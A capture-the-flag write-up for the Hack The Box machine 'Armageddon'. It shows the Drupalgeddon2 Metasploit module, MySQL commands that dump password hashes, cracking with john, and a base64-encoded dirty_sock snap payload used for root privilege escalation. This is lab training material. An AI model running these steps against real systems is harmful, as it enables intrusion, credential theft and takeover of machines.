Armagedon HackTheBox
HTB Writeups

Armageddon Write Up – Hack The Box

Enumeration

The start step for this box is as usual. I am using nmap to check which ports are open and what services are there.

As it can be seen from the picture above there are two ports open. My method is to start on port 80. From the scan results it can be seen that there is an Apache server that runs and Drupal version 7. Also we ca see several file locations. That is a lot of information from a single scan.

Foothold

After some googling I found that Drupal 7 can be exploited with a metasploit module. That is awesome! The module that needs to be used can be found below plus here is a link to Rapid 7.

use exploit/unix/webapp/drupal_drupalgeddon2

The set up I will leave to you because it is something that you need to be able to figure out.

USER:

After I got the shell I started browsing around and see what is available. My main rule is check the dir that the shell is spawned in. If there is nothing interesting more around.

In the /var/www/html/sites/default/ there was something interesting. I will leave that to you as well, because I think it is important to learn how to read different files and find the useful information, however I will say that one of the files has some credentials in it. Find them and put them in to your notes.

Time to test the credentials. They are used to connect to the database of course. I will post the command below, however the username and password will not be shown. This is the credentials you discovered earlier.

mysql -u ********** -p********** -e 'show databases;'

The -u is for username and -p is for the password. To see the available tables, modify the previous command and instead of 'show tabases;' you used 'show tables;'. The next step is to drop the “users” table. The command is as shown below.

mysql -u ******** -p******** -D drupal -e 'select name,pass from users;'

This will give you some hashes. I focused on one of them, but you can try both. The process for the hashes is simple. Put the hash in a text file and use john to crack it. The command can be found below, where hash is the text file containing the hash.

john hash -w=/usr/share/wordlists/rockyou.txt

When this is done you are ready to get the user flag. Just ssh to the machine using the username and the cracked password. Here you go. You can see user.txt

If there is any questions or you get stuck join our Discord.

ROOT:

Time to escalate privileges. First check what can be ran as sudo.

I researched how to privilege escalate and what I found is a script called dirty_sockv2.py. The link to the github repo can be found here. In our case however the skript will not work, but we can use a part of it. We need the base64 part of it. I will post the whole command and if you are interested to see where it comes from check the repo. Do the command on the target machine:

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2J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* 4256 + "=="' | base64 -d > filename.snap

Now run the snap file with:

sudo /usr/bin/snap install --devmode luci.snap

The only thing left is to switch user. The user name and password that should be used is dirty_sock. If you don’t know how to switch users read this. After all is done go and get you a root flag.

Conclusion:

Thank you for reading the write up. If you get stuck somewhere please leave a comment and I will try to point you in the right direction.